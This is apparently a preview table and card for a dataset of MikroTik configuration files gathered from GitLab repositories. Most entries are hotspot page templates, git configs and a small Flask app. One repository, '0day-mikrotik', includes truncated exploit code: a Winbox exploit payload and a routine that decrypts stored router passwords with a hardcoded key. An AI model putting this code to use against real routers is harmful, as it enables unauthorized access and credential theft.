repo_name stringclasses 181
values | filename stringlengths 5 91 | file_content stringlengths 0 1.23M | extension stringclasses 61
values | content_length int64 0 1.23M | line_count int64 1 39.2k | is_config bool 2
classes | is_source bool 2
classes | is_documentation bool 2
classes | has_networking bool 2
classes | has_automation bool 2
classes | config_type stringclasses 6
values |
|---|---|---|---|---|---|---|---|---|---|---|---|
01-template-hostpot-mikrotik | config | [core]
repositoryformatversion = 0
filemode = false
bare = false
logallrefupdates = true
symlinks = false
ignorecase = true
[remote "origin"]
url = https://gitlab.com/klinikasura/01-template-hostpot-mikrotik.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/mai... | 321 | 13 | true | false | false | false | false | other | |
01-template-hostpot-mikrotik | description | Unnamed repository; edit this file 'description' to name the repository. | 72 | 1 | false | false | false | true | true | routing | |
01-template-hostpot-mikrotik | alogin.html | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><style> .loader {margin: 60px auto;font-size: 10px;position: relative;text-indent: -9999em;border-top: 1.1em solid rgba(145,145,146, 0.2);border-right: 1.1em solid rgba(145,145,146, 0.2);border-bottom: 1.1em solid rgba(145,145,146, 0.2);border-l... | .html | 2,932 | 30 | false | false | false | true | true | routing |
01-template-hostpot-mikrotik | error.html | <html>
<head>
<title>Hotspot RS. Asura</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="expires" content="-1">
<style type="text/css">
<!--
textarea,input,select {
background-color: #FDFBFB;
border: 1px #BBBBBB solid;
pad... | .html | 1,411 | 52 | false | false | false | false | false | other |
01-template-hostpot-mikrotik | errors.txt | # This file contains error messages which are shown to user, when http/https
# login is used.
# These messages can be changed to make user interface more friendly, including
# translations to different languages.
#
# Various variables can be used here as well. Most frequently used ones are:
# $(error-orig) - original e... | .txt | 3,584 | 74 | false | false | true | true | true | routing |
01-template-hostpot-mikrotik | login.css | body {
background: linear-gradient(#000000, #000000);
min-width: 300px;
}
.logo
{
width:200px;
position: relative;
top:20px;
}
.login{font-family:arial;padding:90px 0 0 0}.login .logo{display:block;border-radius: 10px;margin:0 auto 30px}.login a,.login a:visited{text-decoration:underline;color:inherit}ul.notice{mar... | .css | 2,322 | 22 | false | false | false | false | true | firewall |
01-template-hostpot-mikrotik | login.html | <!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Hotspot RS. Asura</title>
<meta http-equiv="pragma" content="no-cache" />
<meta http-equiv="expires" content="-1" />
<meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" />
<link rel="stylesheet" href="log... | .html | 4,161 | 112 | false | false | false | true | true | routing |
01-template-hostpot-mikrotik | logout.html | <html>
<head>
<title>Hotspot RS. Asura</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="expires" content="-1">
<style type="text/css">
<!--
textarea,input,select {
background-color: #FDFBFB;
border: 1px #BBBBBB solid;
pad... | .html | 2,601 | 87 | false | false | false | true | true | routing |
01-template-hostpot-mikrotik | md5.js | /*
* A JavaScript implementation of the RSA Data Security, Inc. MD5 Message
* Digest Algorithm, as defined in RFC 1321.
* Version 1.1 Copyright (C) Paul Johnston 1999 - 2002.
* Code also contributed by Greg Holt
* See http://pajhome.org.uk/site/legal.html for details.
*/
/*
* Add integers, wrapping at 2^32. This... | .js | 6,985 | 202 | false | true | false | true | true | routing |
01-template-hostpot-mikrotik | radvert.html | <html>
<head>
<title>mikrotik hotspot > advertisement</title>
<meta http-equiv="refresh" content="2; url=$(link-orig)">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="expires" content="-1">
<style type="text/css">
<!--
textarea,in... | .html | 1,533 | 64 | false | false | false | true | true | routing |
01-template-hostpot-mikrotik | redirect.html | $(if http-status == 302)Hotspot redirect$(endif)
$(if http-header == "Location")$(link-redirect)$(endif)
<html>
<head>
<title>...</title>
<meta http-equiv="refresh" content="0; url=$(link-redirect)">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="expires" content="-1">
<meta http-equiv="Content-Type" c... | .html | 475 | 18 | false | false | false | false | false | other |
01-template-hostpot-mikrotik | rlogin.html | $(if http-status == 302)Hotspot login required$(endif)
$(if http-header == "Location")$(link-redirect)$(endif)
<html>
<!--
<?xml version="1.0" encoding="UTF-8"?>
<WISPAccessGatewayParam
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://$(hostname)/xml/WISPAccessGatewayPar... | .html | 1,021 | 33 | false | false | false | false | false | other |
01-template-hostpot-mikrotik | status.html | <html>
<head>
<title>Hotspot RS. Asura</title>
$(if refresh-timeout)
<meta http-equiv="refresh" content="$(refresh-timeout-secs)">
$(endif)
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="expires" content="-1">
<style type="text/cs... | .html | 3,873 | 117 | false | false | false | true | true | routing |
0day-mikrotik | config | [core]
repositoryformatversion = 0
filemode = false
bare = false
logallrefupdates = true
symlinks = false
ignorecase = true
[remote "origin"]
url = https://gitlab.com/gavz/0day-mikrotik.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master | 303 | 13 | true | false | false | false | false | other | |
0day-mikrotik | description | Unnamed repository; edit this file 'description' to name the repository. | 72 | 1 | false | false | false | true | true | routing | |
0day-mikrotik | extract_user.py | #!/usr/bin/env python3
import sys, hashlib
def decrypt_password(user, pass_enc):
key = hashlib.md5(user + b"283i4jfkai3389").digest()
passw = ""
for i in range(0, len(pass_enc)):
passw += chr(pass_enc[i] ^ key[i % len(key)])
return passw.split("\x00")[0]
def extract_user_pass_from_entry(entry):
... | .py | 1,487 | 45 | false | true | false | false | false | interface |
0day-mikrotik | README.md | # Project Information
<p><b><h6>Name Project :</b>0day Mikrotik</p>
<p><b>Last version :</b>1.0.0</p>
<p><b>Last updated :</b> 25/07/2018</p>
<p><b>Programming language :</b> Python</p>
<p><b>youtube : </b>https://youtu.be/h6JSNFhQUN8</p>
<p><b>Company name : </b><a target="_black" href="http://acyber.ir">acyber</a> (... | .md | 2,045 | 27 | false | false | true | true | false | routing |
0day-mikrotik | WinboxExploit.py | #!/usr/bin/env python3
import socket
import sys
from extract_user import dump
a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0... | .py | 1,786 | 49 | false | true | false | true | false | interface |
acceso-a-internet-aula-con-mikrotik-y-flask | config | [core]
repositoryformatversion = 0
filemode = false
bare = false
logallrefupdates = true
symlinks = false
ignorecase = true
[remote "origin"]
url = https://gitlab.com/jgimenez/acceso-a-internet-aula-con-mikrotik-y-flask.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = ... | 337 | 13 | true | false | false | false | false | other | |
acceso-a-internet-aula-con-mikrotik-y-flask | description | Unnamed repository; edit this file 'description' to name the repository. | 72 | 1 | false | false | false | true | true | routing | |
acceso-a-internet-aula-con-mikrotik-y-flask | app.py | # coding:utf-8
"""
Poner y quitar acceso a Internet en un aula
Activando/desactivando las reglas de NAT de un router mikrotik
"""
from subprocess import check_output, call
from flask import Flask, render_template, request, url_for
app = Flask(__name__)
@app.route("/", methods=("GET", "POST"))
def index():
dir_ip_mi... | .py | 1,792 | 41 | false | true | false | true | false | firewall |
acceso-a-internet-aula-con-mikrotik-y-flask | como_instalar_flask.txt | Crear directorio
mkdir flask
cd flask/
Instalar flask
sudo apt install python3-pip
pip3 install --upgrade pip
pip3 install Flask
Ejecutar el servidor:
Cada vez desde terminal
export FLASK_APP=app.py
export FLASK_ENV=development
python3 -m flask run
Si queremos que el... | .txt | 877 | 24 | false | false | true | true | false | interface |
acceso-a-internet-aula-con-mikrotik-y-flask | site.css | .body-content {
font-family:'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
color: black;
background-color: rgb(226, 220, 220);
}
.footer-content {
padding-left: 50px;
padding-top: 1px;
padding-bottom: 1px;
font-family:'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
font-style: italic;... | .css | 396 | 15 | false | false | false | false | false | other |
acceso-a-internet-aula-con-mikrotik-y-flask | index.html | {% extends "layout.html" %}
{% block title %}
Control acceso a Internet
{% endblock %}
{% block content %}
<form method="post">
<label for=acceso_internet_label">Acceso Internet: {{ acceso_internet }}</label>
<br>
<br>
<br>
<input type="submit" value="{{ poner_quitar }}">
<hr>
</form>
{% endbloc... | .html | 324 | 14 | false | false | false | false | false | other |
acceso-a-internet-aula-con-mikrotik-y-flask | layout.html | <!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>{% block title %}{% endblock %}</title>
<link rel="stylesheet" type="text/css" href="{{ url_for('static', filename='site.css')}}" />
</head>
<body>
<div class="body-content">
{% block content %}
... | .html | 486 | 17 | false | false | false | false | false | other |
acceso-a-internet-aula-con-mikrotik-y-flask | README.md | # Acceso a Internet aula con mikrotik y flask | .md | 45 | 1 | false | false | true | false | false | other |
am2 | config | [core]
repositoryformatversion = 0
filemode = false
bare = false
logallrefupdates = true
symlinks = false
ignorecase = true
[remote "origin"]
url = https://gitlab.com/irvanlabs/am2.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master | 298 | 13 | true | false | false | false | false | other | |
am2 | description | Unnamed repository; edit this file 'description' to name the repository. | 72 | 1 | false | false | false | true | true | routing |
End of preview. Expand in Data Studio
MikroTik Network Configurations Dataset
A comprehensive collection of MikroTik networking configurations and implementations sourced from 181 GitLab repositories. This dataset represents real-world networking solutions, automation scripts, and technical implementations.
Dataset Overview
- Size: 181 unique repositories
- Format: JSONL (JSON Lines)
- Content Types: Configurations, Scripts, Documentation
Data Structure
Each record contains:
{
"repo_name": "string",
"filename": "string",
"file_content": "string",
"extension": "string",
"content_length": "integer",
"line_count": "integer",
"is_config": "boolean",
"is_source": "boolean",
"is_documentation": "boolean",
"has_networking": "boolean",
"has_automation": "boolean",
"config_type": "string"
}
Key Features
- Complete repository contents preserved
- Categorized file types (config, source, documentation)
- Technical metadata and analysis
- Real-world implementation examples
- Network automation patterns
Use Cases
- Network automation development
- Configuration pattern analysis
- Best practices extraction
- Technical documentation generation
- MikroTik implementation research
Dataset Creation
Created by analyzing GitLab repositories containing MikroTik configurations, processing the data through a custom pipeline that extracts, categorizes, and structures the information for machine learning and analysis tasks.
License
Please check individual repository licenses for usage terms.
- Downloads last month
- 12